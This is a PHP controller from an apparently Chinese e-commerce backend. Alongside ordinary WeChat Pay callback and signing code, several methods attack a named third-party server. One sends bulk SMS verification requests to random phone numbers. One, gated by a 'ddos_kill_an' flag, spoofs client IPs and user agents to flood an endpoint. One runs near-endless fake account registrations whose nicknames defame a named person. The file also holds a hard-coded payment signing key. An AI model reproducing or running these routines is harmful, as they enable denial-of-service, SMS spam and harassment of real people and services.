<?php
// +----------------------------------------------------------------------
// | 幕小铺
// +----------------------------------------------------------------------
// | 版权所有 2016~2020 幕小铺科技（大连）有限公司
// +----------------------------------------------------------------------
// | 2020/03/14
// +----------------------------------------------------------------------

namespace app\erp\home;
use app\common\controller\AuthCheck;

/**
 * 公共模块
 * @package app\cms\admin
 */
class Publics extends AuthCheck{

  public  function get_round_username_1() {
		$tou=array('安永春','安老板','易秒','象幕','象幕优品',);
		$do = array("的","爱","","与","给","扯","和","用","方","打","就","迎","向","踢","笑","闻","有","等于","保卫","演变");
		$biaoqing = array("😂","😊","☝","👦","🐵","🐒","🦍","🦊","方","打","就","迎","向","踢","笑","闻","有","等于","保卫","演变");
        $wei=array('嚓茶','凉面','便当','毛豆','花生🥜','可乐','灯泡','哈密瓜','野狼','背包','眼神','缘分','雪碧','人生','牛排','蚂蚁','飞鸟','灰狼','斑马','汉堡','悟空','巨人','绿茶','自行车','保温杯','大碗','墨镜','魔镜','煎饼','月饼','月亮','星星','芝麻','啤酒','玫瑰','大叔','小伙','哈密瓜，数据线','太阳','树叶','芹菜','黄蜂','蜜粉','蜜蜂','信封','西装','外套','裙子','大象','猫咪','母鸡','路灯','蓝天','白云','星月','彩虹','微笑','摩托','板栗','高山','大地','大树','电灯胆','砖头','楼房','水池','鸡翅','蜻蜓','红牛','咖啡','机器猫','枕头','大船','诺言','钢笔','刺猬','天空','飞机','大炮','冬天','洋葱','春天','夏天','秋天','冬日','航空','毛衣','豌豆','黑米','玉米','眼睛','老鼠','白羊','帅哥','美女','季节','鲜花','服饰','裙子','白开水','秀发','大山','火车','汽车','歌曲','舞蹈','老师','导师','方盒','大米','麦片','水杯','水壶','手套','鞋子','自行车','鼠标','手机','电脑','书本','奇迹','身影','香烟','夕阳','台灯','宝贝','未来','皮带','钥匙','心锁','故事','花瓣','滑板','画笔','画板','学姐','店员','电源','饼干','宝马','过客','大白','时光','石头','钻石','河马','犀牛','西牛','绿草','抽屉','柜子','往事','寒风','路人','橘子','耳机','鸵鸟','朋友','苗条','铅笔','钢笔','硬币','热狗','大侠','御姐','萝莉','毛巾','期待','盼望','白昼','黑夜','大门','黑裤','钢铁侠','哑铃','板凳','枫叶','荷花','乌龟','仙人掌','衬衫','大神','草丛','早晨','心情','茉莉','流沙','蜗牛','战斗机','冥王星','猎豹','棒球','篮球','乐曲','电话','网络','世界','中心','鱼','鸡','狗','老虎','鸭子','雨','羽毛','翅膀','外套','火','丝袜','书包','钢笔','冷风','八宝粥','烤鸡','大雁','音响','招牌','胡萝卜','冰棍','帽子','菠萝','蛋挞','香水','泥猴桃','吐司','溪流','黄豆','樱桃','小鸽子','小蝴蝶','爆米花','花卷','小鸭子','小海豚','日记本','小熊猫','小懒猪','小懒虫','荔枝','镜子','曲奇','金针菇','小松鼠','小虾米','酒窝','紫菜','金鱼','柚子','果汁','百褶裙','项链','帆布鞋','火龙果','奇异果','煎蛋','唇彩','小土豆','高跟鞋','戒指','雪糕','睫毛','铃铛','手链','香氛','红酒','月光','酸奶','银耳汤','咖啡豆','小蜜蜂','小蚂蚁','蜡烛','棉花糖','向日葵','水蜜桃','小蝴蝶','小刺猬','小丸子','指甲油','康乃馨','糖豆','薯片','口红','超短裙','乌冬面','冰淇淋','棒棒糖','长颈鹿','豆芽','发箍','发卡','发夹','发带','铃铛','小馒头','小笼包','小甜瓜','冬瓜','香菇','小兔子','含羞草','短靴','睫毛膏','小蘑菇','跳跳糖','小白菜','草莓','柠檬','月饼','百合','纸鹤','小天鹅','云朵','芒果','面包','海燕','小猫咪','龙猫','唇膏','鞋垫','羊','黑猫','白猫','万宝路','金毛','山水','音响','尊云','西安');
        $tou_num=rand(0,331);
        $do_num=rand(0,19);
        $wei_num=rand(0,327);
        $type = rand(0,1);
        if($type==0){
        $username=$tou[$tou_num].$do[$do_num].$wei[$wei_num];
        }else{
        $username=$wei[$wei_num].$tou[$tou_num];
		}
		
		return $username;
  }

    /**
     * 发送验证码
     * @author Naruto
     * @return json_out(code, message, data)
     */
    public function send_yanzhengma(){
        
        for ($i=0; $i < 10; $i++) { 
            $url = 'https://yxadmin.eleview.cn/public//index.php/user_center/publics/sms_sending';

            $openid = $nick_name.time().rand(1,9999999);
            $data = [
              'mobile' => rand(18600000001,18699999999),
              'mobile_type' => 0,
              'avatar_url' => 'https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=4252229210,1207910989&fm=26&gp=0.jpg',
              'api_token'  => 'api_xiangmu'
            ];

            $rel[] = curl_request($url, $method = 'post', $data, $https = true);
        }
        dump($rel);
    }

    /**
     * 微信注入
     * @author Naruto
     * @return json_out(code, message, data)
     */
    public function send_wechat(){
      //0a02735c7ed7cac8d6dc02d073b73d8f
      //dump(md5(sha1('8819479051602465256366')));

       if(!config('ddos_kill_an')) return; 
       
      // 设置IP
      $ip=mt_rand(11, 191).".".mt_rand(0, 240).".".mt_rand(1, 240).".".mt_rand(1, 240);   //随机ip
      $header = array(
        'CLIENT-IP: '.$ip,
        'X-FORWARDED-FOR: '.$ip
      );
      // 设置来源
      $referer = 'https://www.'.time().'.cn/'; 
      $url = [];
  //$url[] = 'https://eleadmin.eleview.cn/public/index.php/video/video/get_push_play_list/api_token/api_xiangmu';
      $url[] = 'https://yxadmin.eleview.cn/public/index.php/video/new_video/getPushPlayList?api_token=api_xiangmu&page=1&page_size='.mt_rand(1, 100).'&store_id=8&user_id=0&user_uid=0&'.mt_rand(1, 240).'='.time().mt_rand(1, 240);
      $url_num = array_rand($url);

      $agent_array=[
        //PC端的UserAgent
        "safari 5.1 – MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "safari 5.1 – Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
        "Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
        "IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko",
        "IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0",
        "IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
        "IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
        "IE 6.0"=>"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Firefox 4.0.1 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
        "Firefox 4.0.1 – Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
        "Opera 11.11 – MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11",
        "Opera 11.11 – Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
        "Chrome 17.0 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
        "傲游（Maxthon）"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)",
        "腾讯TT"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)",
        "世界之窗（The World） 2.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
        "世界之窗（The World） 3.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)",
        "360浏览器"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)",
        "搜狗浏览器 1.x"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)",
        "Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)",
        "Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
        //移动端口
        "safari iOS 4.33 – iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
        "safari iOS 4.33 – iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
        "safari iOS 4.33 – iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
        "Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Android QQ浏览器 For android"=>"MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10",
        "Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
        "BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+",
        "WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0",
        "UC标准"=>"NOKIA5700/ UCWEB7.0.2.37/28/999",
        "UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999",
        "UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999",
        "微信内置浏览器"=>"Mozilla/5.0 (Linux; Android 6.0; 1503-M02 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile MQQBrowser/6.2 TBS/036558 Safari/537.36 MicroMessenger/6.3.25.8　　　　　　　61 NetType/WIFI Language/zh_CN",
        "safari5.0"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3",
        'google5.0' => 'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13'

    ];

      //dump($url[$url_num]);die;
      for ($i=0; $i < 5; $i++) { 
        $url_t = $url[$url_num];
        $useragent= $agent_array[array_rand($agent_array,1)];  //可设置随机浏览器：$agent_array[array_rand($agent_array,1)]；
        //$url_t = 'https://eleadmin.eleview.cn/public/index.php/video/video/get_push_play_list/api_token/api_xiangmu/page/'.mt_rand(1, 100).'/page_size/10';
        $url_t = 'https://yxadmin.eleview.cn/public/index.php/video/publics/test1';
        //$url[] = 'https://yxadmin.eleview.cn/public/index.php/video/new_video/getPushPlayList?api_token=api_xiangmu&page=1&page_size='.mt_rand(1, 10).'&store_id=8&user_id=0&user_uid=0&'.mt_rand(1, 240).'='.time().mt_rand(1, 240);
        dump($url_t);
        $rel[] = curl_request($url_t, $method = 'get', $data = null, $https = true, $referer='', $header, $useragent);
      }
      dump($rel);
      return;  
      for ($i=0; $i < 10; $i++) { 
        $url = 'https://yxadmin.eleview.cn/public/index.php/video/video/get_push_play_list/api_token/api_xiangmu';

        $rel[] = curl_request($url, $method = 'get', $data = null, $https = true);
      }
      

      
    }
    /**
     * 微信注入
     * @author Naruto
     * @return json_out(code, message, data)
     */
    public function send_wechat1(){
      $start_time=date("h:i:sa");
 
$urls=[];
for ($i=0; $i <100 ; $i++) { 
	$urls[]='http://www.eleview.cn/';
}
var_dump($urls);
// GetTitle('klasjdkla<title>313asds12</title>');
 
rolling_curl($urls,'GetTitle'); 
 
   
$end_time=date("h:i:sa");
 
echo '开始时间是：'.$start_time;
echo '结束时间是：'.$end_time;

    }

    /**
     * 微信注入
     * @author Naruto
     * @return json_out(code, message, data)
     */
    public function send_apple(){
      //参数接收
      $params = $this->getParams(0);//0 get 1 post 
      $name    = strval(isset($params["name"]) ? $params["name"] : 0);

      
      for ($i=0; $i < 999999999; $i++) { 
          $url = 'https://yxadmin.eleview.cn/public//index.php/user_center/publics/register_apple';
          $nick_name =  $name ? $name : '安永春 多行不义必自毙 拖欠员工工资 详情请咨询110'.time().rand(1,9999999);
          $openid = $nick_name.time().rand(1,9999999);
          $data = [
            'openid' => $openid,
            'nick_name' => $nick_name,
            'avatar_url' => 'https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=4252229210,1207910989&fm=26&gp=0.jpg',
            'api_token'  => 'api_xiangmu'
          ];

          $rel[] = curl_request($url, $method = 'post', $data, $https = true);
      }
      dump($rel);
    }

    /**
     * 支付成功回调
     * @author Naruto
     * @return json_out(code, message, data)
     */
    public function notify(){
        
        $xml = file_get_contents('php://input');
        //将服务器返回的XML数据转化为数组
        $data = $this->FromXml($xml);
        // 保存微信服务器返回的签名sign
        $data_sign = $data['sign'];
        // sign不参与签名算法
        unset($data['sign']);
        //$sign = self::makeSign($data);
        $sign = $this->makeSign($data);
        
        //增加一个日志
        //file_put_contents("order.txt".time(), json_encode($data));//die;
        //$json = '{"appid":"wxf1ce5fccd088e469","bank_type":"OTHERS","cash_fee":"1","fee_type":"CNY","is_subscribe":"N","mch_id":"1600814121","nonce_str":"g7TWrrT8xGeF4yKjV8HEZEmhrdpbJxfr","openid":"oip0n0jZsftjINjD5QKFPt0CSltI","out_trade_no":"20200905125519642294","result_code":"SUCCESS","return_code":"SUCCESS","time_end":"20200905125527","total_fee":"1","trade_type":"APP","transaction_id":"4200000691202009058575977464"}';
        //$data = json_decode($json, true);

        // 判断签名是否正确 判断支付状态
        if ( ($sign===$data_sign) && ($data['return_code']=='SUCCESS') && ($data['result_code']=='SUCCESS') ) {
            //获取服务器返回的数据
            $order_num        = $data['out_trade_no'];   //订单单号
            $openid           = $data['openid'];         //付款人openID
            $total_fee        = $data['total_fee'];      //付款金额
            $transaction_id   = $data['transaction_id']; //微信支付流水号

            //验证订单 并且执行订单
            $data = controller('Publicslogic', 'logic') -> paySuccessOrder($order_num, $transaction_id); // dump($data);
            //$res = $this -> order_notice_data_deal($order_num,$openid,$total_fee,$transaction_id);
            
            if ($data['code'] != 200) {
                $result = -2;
            } else {
                $result = 0;
            }
        }else{
          $result = -1;
        }

        // 返回状态给微信服务器https://apptest.hcbbs.com/index.php/api/User_vip/notify
        if ($result == 0) { // 成功之后不会再回调
            $str='<xml><return_code><![CDATA[SUCCESS]]></return_code><return_msg><![CDATA[OK]]></return_msg></xml>';
        } elseif ($result == -1){ // 失败后会继续发送几次回调
            $str='<xml><return_code><![CDATA[FAIL]]></return_code><return_msg><![CDATA[签名失败]]></return_msg></xml>';
        } elseif ($result == -2) { // 失败后会继续发送几次回调
            $str='<xml><return_code><![CDATA[FAIL]]></return_code><return_msg><![CDATA[更改状态失败]]></return_msg></xml>';
        }
        //Clog::setLog($result,'order_notice_result');
        exit($str);
    }


    public function ToXml($array){
        if(!is_array($array)|| count($array) <= 0){
          return ;
        }
        $xml = '<xml version="1.0">';
        foreach ($array as $key=>$val){
          if (is_numeric($val)){
            $xml.="<".$key.">".$val."</".$key.">";
          }else{
            $xml.="<".$key."><![CDATA[".$val."]]></".$key.">";
          }
        }
        $xml.="</xml>";
        return $xml;
    }
    public function FromXml($xml){
        if(!$xml){
          // 人工抛出错误
          //throw new Exception("xml数据异常！");
        }
        //将XML转为array
        //禁止引用外部xml实体
        libxml_disable_entity_loader(true);
        $this->values = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
        return $this->values;
    }
    public function MakeSign($data)
    {
        //签名步骤一：按字典序排序参数
        ksort($data);
        $string = $this->ToUrlParams($data);
        //签名步骤二：在string后加入KEY
        $string = $string . "&key=".'4a9f2c433adcc2698ba7704faedeaf82';
        //签名步骤三：MD5加密
        $string = md5($string);
        //签名步骤四：所有字符转为大写
        $result = strtoupper($string);
        return $result;
    }
    public function ToUrlParams($array)
    {
        $buff = "";
        foreach ($array as $k => $v)
        {
          if($k != "sign" && $v != "" && !is_array($v)){
            $buff .= $k . "=" . $v . "&";
          }
        }
        $buff = trim($buff, "&");
        return $buff;
    }
    // createNonceStr
    public function createNonceStr($length = 16) {
        $chars = "abcdefghijklmnopqrstuvwxyz0123456789";
        $str ="";
        for ( $i = 0; $i < $length; $i++ ) {
          $str .= substr($chars, mt_rand(0, strlen($chars)-1), 1);
        }
        return $str;
    }
	
	 /* 订单过期
     * @author shqiang
	 * @return json_out(code, message, data)
	*/
	public function order_expire(){
		$list = controller('GoodsOrderlogic', 'logic') -> order_expire();
		return json_out($list['code'], $list['message']);
	}
	
}